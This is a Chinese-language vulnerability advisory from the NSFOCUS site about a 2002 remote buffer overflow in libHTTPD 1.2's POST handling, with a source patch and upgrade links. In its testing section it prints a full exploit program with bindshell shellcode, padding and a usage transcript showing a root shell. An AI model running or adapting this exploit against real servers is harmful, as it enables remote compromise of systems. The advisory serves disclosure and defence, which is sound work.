首页 -> 安全研究

安全研究

安全漏洞
LibHTTPD POST远程缓冲区溢出漏洞

发布日期:2002-11-25
更新日期:2002-12-03

受影响系统:
Hughes Technologies libHTTPD 1.2
不受影响系统:
Hughes Technologies libHTTPD 1.3
描述:
BUGTRAQ  ID: 6172

LibHTTPD是一款用于嵌入设备的小型WEB服务程序。

LibHTTPD对超长POST请求处理不正确,远程攻击者可以利用这个漏洞对LibHTTPD服务程序进行缓冲区溢出攻击,以WEB进程在系统上执行任意指令。

检查libhttpd.a库中的'api.c'源代码,发现860行的httpdProcessRequest()函数对用户提交的输入缺少正确检查,提交超长POST请求可导致不经过充分边界检查而直接进行拷贝操作,发生缓冲区溢出,精心构建提交请求数据可能以WEB进程权限在系统上执行任意指令。

<*来源:dong-h0un U (xploit@hackermail.com
  
  链接:http://www.securiteam.com/unixfocus/6H00I2060I.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

dong-h0un U(xploit@hackermail.com) 提供了如下测试程序:

/*
**
** Lib HTTPd Remote Buffer Overflow exploit
** by Xpl017Elz
** __
** Testing exploit:
**
** bash$ (./0x82-Remote.libhttpdxpl;cat)|nc libhttphost 80
**
** (Ctrl+c)
** punt!
** bash$ nc libhttphost 3879
** uname
** Linux
** id
** uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),
** 3(sys),4(adm),6(disk),10(wheel)
** exit
** bash$
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net
**
*/

#include <stdio.h>
int main(/* args? */)
{
    int shadd2r;
    char b1ndsh[] = /* 129byte bindshellcode */
"\211\3451\322\262f\211\3201\311\211\313C\211]\370C\211]\364K\211M\374\215M"
"\364\315\2001\311\211E\364Cf\211]\354f\307E\356\017'\211M\360\215E\354\211E"
    "\370\306E\374\020\211\320\215M\364\315\200\211\320CC\315\200\211\320C\315"
"\200\211\3031\311\262?\211\320\315\200\211\320A\315\200\353\030^\211u"
"\b1\300\210F\007\211E\f\260\013\211\363\215M\b\215U\f\315\200\350\343\377"
"\377\377/bin/sh";
    //--- POST &shellcode ---//
    fprintf(stdout,"POST ");
    for(shadd2r=0;shadd2r<0x408;shadd2r+=4)
    {/* rEDhAT Default: 0x804e482,
Debian Address? */
fprintf(stdout,"\202\344\004\b");
    }
    fprintf(stdout,"\r\n");
    //--- NOP,shellcode ---//
    for(shadd2r=0;shadd2r<0x3e8;shadd2r++)
    {/* SSSSSSSS...SSSSSSSSS;;; */
fprintf(stdout,"S");
    }
    fprintf(stdout,"%s\r\nx0x\r\nx82\r\nl0l\r\n",b1ndsh);
}

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* "dong-h0un U" <xploit@hackermail.com>提供了如下第三方补丁:

=== api.patch ===

--- api.c Sat Nov 9 20:06:30 2002
+++ api.patch.c Sat Nov 9 20:05:33 2002
@@ -867,7 +867,7 @@
httpContent *entry;

server->response.responseLength = 0;
- strcpy(dirName, httpdRequestPath(server));
+ strncpy(dirName, httpdRequestPath(server), HTTP_MAX_URL);
cp = rindex(dirName, '/');
if (cp == NULL)
{

厂商补丁:

Hughes Technologies
-------------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

Hughes Technologies libHTTPD 1.2:

INetCop Security Patch libhttpd.patch
http://downloads.securityfocus.com/vulnerabilities/patches/libhttpd.patch

Hughes Technologies Upgrade libHTTPD v1.3
http://www.hughes.com.au/products/libhttpd/libhttpd-1.3.tar.gz

浏览次数:3784
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障